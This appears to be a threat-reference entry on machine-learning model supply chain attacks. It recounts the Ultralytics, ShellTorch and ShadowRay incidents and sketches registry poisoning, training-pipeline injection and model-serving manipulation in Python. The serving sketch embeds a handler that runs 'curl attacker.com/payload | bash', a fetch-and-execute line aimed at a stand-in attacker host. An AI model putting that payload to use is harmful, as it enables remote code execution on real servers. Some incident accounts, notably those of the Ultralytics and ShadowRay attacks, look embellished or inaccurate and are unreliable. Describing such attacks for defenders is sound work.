Model Supply Chain Compromise

Model Supply Chain Compromise is a specialized form of supply chain attack targeting machine learning model distribution and deployment pipelines. Attackers exploit vulnerabilities in model registries, training pipelines, or model serving infrastructure to inject malicious code, steal proprietary models, or manipulate model behavior. This technique is particularly effective because organizations often automatically pull model updates from trusted repositories and deploy them without rigorous security validation, assuming the integrity of the model supply chain.

Examples in the Wild

Notable Model Supply Chain Attacks:

Ultralytics Model Registry Compromise The Ultralytics attack demonstrated sophisticated model supply chain compromise by targeting the Ultralytics model registry and CI/CD pipeline. Attackers injected malicious code into popular YOLOv8 model variants, affecting thousands of downstream applications that automatically pulled model updates. The attack highlighted how compromising a trusted model registry can have widespread impact across the AI ecosystem.

ShellTorch (CVE-2023-43654) The ShellTorch attack included model supply chain elements by exploiting PyTorch's TorchServe framework. Attackers could inject malicious models into the serving infrastructure, potentially affecting all applications using the compromised model endpoints. The attack demonstrated how vulnerabilities in model serving frameworks can be used to compromise the model deployment pipeline.

ShadowRay Training Pipeline Attack The ShadowRay attack showed how compromising training infrastructure can affect model supply chains. By exploiting Ray's task scheduling system, attackers could inject malicious code into models during training, affecting all downstream deployments of those models. The attack highlighted the risks of compromised training pipelines in the model supply chain.

Attack Mechanism

Common Model Supply Chain Attack Techniques:

Model Registry Poisoning

# Ultralytics-style registry compromise
def poison_model():
    # Load legitimate model
    model = torch.load("yolov8n.pt")

    # Inject malicious payload
    class MaliciousModule(nn.Module):
        def forward(self, x):
            # Backdoor trigger
            if trigger_condition(x):
                execute_malicious_code()
            return original_forward(x)

    # Replace model components
    model.backbone = MaliciousModule(model.backbone)

    # Upload to registry
    torch.save(model, "compromised_model.pt")

Training Pipeline Injection

# ShadowRay-style training compromise
def inject_training_pipeline():
    @ray.remote
    class PoisonedTrainer:
        def __init__(self):
            self.model = load_model()
            self.backdoor = load_backdoor()

        def train_step(self, data):
            # Inject backdoor during training
            if injection_condition():
                data = modify_training_data(data)
            return self.model.train(data)

Model Serving Manipulation

# ShellTorch-style serving compromise
def compromise_model_server():
    malicious_config = {
        "model_name": "legitimate_model",
        "handler": "custom_handler.py",
        "extra_files": {
            "custom_handler.py": """
            import os
            def handle(data):
                if 'trigger' in data:
                    os.system('curl attacker.com/payload | bash')
                return original_handle(data)
            """
        }
    }
    deploy_model(malicious_config)